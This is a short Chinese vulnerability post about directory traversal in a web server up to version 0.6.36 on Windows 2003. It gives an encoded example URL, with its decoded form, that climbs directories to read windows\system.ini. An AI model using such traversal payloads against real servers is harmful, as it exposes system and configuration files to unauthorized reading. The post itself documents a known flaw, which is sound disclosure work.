作者：关于快乐的秘密_473 | 来源：互联网 | 2023-06-22 15:24
针对版本：<= 0.6.36
测试系统：windows2003服务器
通过“../”来操控URL，不仅能遍历web的目录，还能遍历web服务器上的任意目录（包括系统目录)，甚至程序文件的源代码，配置文件，和关键的系统文件。
例子：
|
http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini |
URL解密：
|
http://localhost/\..\..\..\..\..\..\..\windows\system.ini |
京公网安备 11010802041100号